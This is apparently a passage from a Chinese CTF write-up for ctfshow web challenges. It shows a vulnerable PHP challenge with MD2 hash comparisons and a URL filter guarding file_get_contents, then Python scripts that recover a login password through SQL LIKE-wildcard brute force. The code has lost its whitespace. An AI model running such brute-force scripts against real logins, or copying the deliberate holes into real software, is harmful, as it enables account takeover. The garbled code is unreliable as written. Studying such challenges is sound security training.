User=agent: *
Disallow:
Disallow: hinthint.txt
然后访问得到
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
<?phperror_reporting(0);highlight_file(__FILE__);$a=$_GET['a'];$b=$_GET['b'];$c=$_GET['c'];$url[1]=$_POST['url'];if(is_numeric($a)andstrlen($a)<7and$a!=0and$a**2==0){$d=($b==hash("md2",$b))&&($c==hash("md2",hash("md2",$c)));if($d){highlight_file('hint.php');if(filter_var($url[1],FILTER_VALIDATE_URL)){$host=parse_url($url[1]);print_r($host);if(preg_match('/ctfshow\.com$/',$host['host'])){print_r(file_get_contents($url[1]));}else{echo'差点点就成功了!';}}else{echo'please give me url!!!';}}else{echo'想一想md5碰撞原理吧?!';}}else{echo'第一个都过不了还想要flag呀?!';}
<!--注意:正式上线请删除注释内容! --><!-- username yu22x --><!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
like注入我们可以匹配出密码的位数
在 LIKE 中,常用的通配符有两种:
%:表示匹配任意长度的任意字符(包括零个字符)。
_:表示匹配单个任意字符。
所以我们还是写个脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
importrequestsurl="http://1f701f35-a402-4f51-a2c9-5967cea01f50.challenge.ctf.show/login.php"j='_'foriinrange(50):data={'username':'yu22x','password':j}r=requests.post(url=url,data=data)if"wrong username or password"inr.text:j+='_'else:print(len(j))break# 32
那我们写个脚本来爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
importrequestsimportstringstr=string.digits+string.ascii_lettersurl="http://1f701f35-a402-4f51-a2c9-5967cea01f50.challenge.ctf.show/login.php"target=""foriinrange(32):forjinstr:password=target+j+(31-i)*'_'data={'username':'yu22x','password':password}r=requests.post(url=url,data=data)if'wrong username or password'notinr.text:target+=jprint("\r"+target,end="")break# 67815b0c009ee970fe4014abaa3Fa6A0